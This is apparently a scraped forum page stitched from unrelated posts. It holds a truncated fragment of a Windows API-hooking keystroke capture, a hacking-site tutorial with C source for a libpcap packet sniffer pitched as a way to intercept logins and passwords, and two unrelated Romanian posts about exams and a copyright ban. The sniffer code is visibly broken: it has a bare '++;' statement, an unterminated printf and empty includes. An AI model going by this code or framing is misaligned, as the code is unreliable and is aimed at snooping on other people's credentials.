*)0x12345678; WCHAR s[2]; if(lpmsg->message == WM_CHAR) { s[0] = (WCHAR)(lpmsg->wParam); s[1] = 0; pData->_MessageBoxW(NULL, s, s, MB_OK); } return ((pfDispatchMessage)pData->pOrigRplFunction)(lpmsg); }
-
Download: http://www.thehackademy.net/archives/apihooksniff.zip
-
HZVSNIFF We are going to talk about “how to make your own sniffer ?”. At first, i have to tell you that this paper is more a development guide which should help you to make your own program, and to understand sniffing concepts in a raw level mode. So this paper will only be usefull to people who already something about C programming, as well as in networking. What is a sniffer ? It is a tool which can be used to read all network packets going through your network card. The aim is originally to detect some problems which may occurs on a lan / wan. But another way to use such a program is to be able to read all packets' content after having hijacking them on your computer... For what ? In order to intercept some logins/passwords ... We don't explain in this article how to hijack a connection, but only how to read and decode all packets going through your network cards. Moreover, if you are on a broadcast network (meaning that each packet are sent to every computers on the Lan), it won't be necessary to set up an hijacking attack : all packets from the network are received on your network card. But how make them “accepted” by your card, and how to read them ? Promiscious mode: Let's talk about the default communication process between two computers : the first one send through its network card one packet, which contains MAC address of the target. A system just takes care about packets its MAC address as the destination, and drops all others. So on a broadcasted network, all computers receive all sent packets, and drop all those for which they are not the destination. Promiscious allow to escape that process in order to catch every packets, whatever MAC destination is. You really want to use a library to develop the sniffer to don't deal directly with the network raw level. The libpcap is designed to used in this way, to develop your soft, and is moreover present onto Unix and Windows. Maybe you already know tcpdump or ethereal, and guess what : both of them have been developed onto it. First, you have to install this lib : $> tar xvzf libpcap-0.6.2.tar.gz ....... $> cd libpcap-0.6.2 $> ./configure $> make $> make install You won't forget to include the good header in your sources : #include Have a look on the development manpages $> man libpcap Lets now have a look on APIs' syntax : pcap_open_live It is tha main function, used to set up one sniffing session by using that lib. It returns a file descriptor you can use to read intercepted packets, to create and apply some filters ... Of course, you have to call this function !! pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf) Char *device : Network interface you used to intercept data. You have to give its character string representation (eth0, eth1, wlan0 ...) int snaplen : Max size of information which will be read in one packet. In general, you can use 1500 bytes on an ethernet Lan. int promisc: do you want to enable the promiscious mode (1), or not (0) ... You probably want to use it. Int to_ms: timeout char *ebuf : In case of errors, they are returned onto that address. On success case, NULL is returned. You should know that the file descriptor is given as an argument of the pcap_t structure, returned by the main API pcap_open_live. pcap_next : This function is used to return address of each intercepted packet written in a queue. Each returned pointer points to an usigned character string, which are one captured packets in the queue. u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h) pcap_t *p : File descriptor returned by pcap_open_live. pcap_pkhdr *p : pointer on to pcap_pkhdr structure, into which headers of received packets are formated to be read. You find it in the pcap.h file. pcap_lookupnet : This function returns the network's address and subnet. int pcap_lookupnet(char *device,bpf_u_int32 *netp,bpf_u_int32 *maskp, char *errbuf); Char *device : Network interface used to capture traffic. bpf_u_int32 *netp : Address where is saved the network address bpf_u_int32 *maskp : Address where is saved the sbnet address char *errbuf: Address where are returned errors. pcap_stats : Get some statistics on received packets. These informations are saved, and formated to be read in a pcap_stat structure. int pcap_stats(pcap_t *p, struct pcap_stat *ps) pcap_t *p : file desciptor return by pcap_open_live struct pcap_stat *ps : Target where are wrote statistics about traffic struct pcap_stat { u_int ps_recv; // Number of received packet u_int ps_drop; // Number of dropped packet u_int ps_ifdrop; // Not yet supported }; pcap_lookupdev : Return default network interface. u_char pcap_lookupdev(char *errbuf) Char *errbuf : Address where are return errors, NULL otherwise. We have shown all functions you have to use in your sniffer, and to make it work well. But, you will find lots of more functions in development manpages. -----------------------------------------------start--------------------------------------------------- #include /* Some basic libraries */ #include int main(void) { int i,a=0,nbrpaquets; /* variable (counter) i as a counter on received packets a as the number of received packets nbrpaquets number of packets already captured */ char interface[10]; /* Network interface used to sniff */ bpf_u_int32 netp,maskp; /* Network and subnet addresses */ int affichage=0; /* Define the desired formatting to display captured packets */ char erreur[PCAP_ERRBUF_SIZE]; /* Buffer use to write errors, max sie defined in pcap.h as the macro PCAP_ERRBUF_SIZE */ pcap_t *descriptPaquet = NULL; /* File descriptor returned by pcap_open_live */ struct pcap_stat *statistiques; /* Statistics ' structure */ struct pcap_pkthdr paquethdr; /* Header structure used by pcap_next. */ u_char *paquet; /* content of captured packets */ statistiques = (struct pcap_stat*)malloc(sizeof(struct pcap_stat)); /* Memory allocation to write statistic structure */ printf("\n\n\n-+-+-+-+-+-+-+-+HZVSniff+-+-+-+-+-+-+-+-\n"); printf(" CoDeD By ReDiLs For HZVManual\n\n"); printf("Interface to sniff (default :0) "); scanf("%10s",interface); /* we get a character string representation of the used to sniff interface*/ printf("\nHow many packets to intercept: "); scanf("%d",&nbrpaquets); /* We get number of packets to sniff.*/ printf("\nChoisissez le type d'affichage des données :\n"); printf(" 1 -> Display : Characters Mode printf(" 2-> Display hexa mode\n"); scanf("%d",&affichage); while((affichage!=1) && (affichage!=2)) { printf("Choose 1 oo 2 \n"); scanf("%d",&affichage); } if(strcmp(interface,"0")==0)strcpy(interface,pcap_lookupdev(erreur)); /* We check if user want to call pcap_lookupdev to find default network interface*/ if ((descriptPaquet = pcap_open_live(interface, 1500, 0, 1000, erreur))==NULL) /* File descriptor allocation*/ { printf("Erreur : %s\n",erreur); /* If errors, we display them*/ exit(1); } pcap_lookupnet(interface,&netp,&maskp,erreur); /* We get network's address and subnet */ printf("\nNetwork : %x\n",netp); /* We display network in hexa mode.*/ printf("\nMask : %x\n",maskp); /* Display Mask in hexa mode*/ pcap_stats(descriptPaquet, statistiques); /* We call the statistics' function*/ printf("Displaying network traffic : %s\n",interface); while (a!=nbrpaquets) /* Until desired number of captured packet is not done, we get them */ { paquet = (u_char *) pcap_next(descriptPaquet, &paquethdr); /* We get packets'content*/ if (paquet != NULL) /* If content is not emty (some times, it may be), we don't display it.*/ { for (i=0; i<500; i++) /* We display the first 500 bytes of packets*/ { if(affichage==1)printf("%c",*paquet); /* Which format to display output ?*/ else paquet++; } printf("\n*********************************************************************\n"); } ++; } pcap_stats(descriptPaquet, statistiques); printf("Statistis :\n"); printf("Received packets : %d\n",statistiques->ps_recv); printf("Dropped packets : %d\n",statistiques->ps_drop); } --------------------------------------end--------------------------------------------------------- To compile your code : gcc -lpcap -o hzvsniff hzvsniff.c Source: http://www.thehackademy.net/
-
A fost cel mai jegos bac dintre toate... Multe magarii, examenele propriu-zise nasoale rau, cel putin la matematica, nici un fel de egalitate intre elevi, una e sa dai la istorie unde s-a luat numai 8-9-10, alta e sa dai la matematica M1 unde s-a luat 1,5 - 2 - 3 - 4 -5 - 6, notele au fost penale, la 2 lucrari identice, diferente de 2 puncte intre ele si multe altele. Cred ca si contestatiile for fi tot de mantuiala. LiviuCool: Nu, http://mta.ro/admitere/Locuri_admitere_2010.pdf
-
Pfff, amice, ce crezi ca faci? http://rstcenter.com/forum/18293-cum-sa-suni-gratuit-de-pe-net-sau-de-pe-iphone-la-orice-numar-din-lume.rst --> Suna gratis oriunde in lume | Hacking-Unlimited Blog Tu nu ai auzit de drepturi de autor? Ban!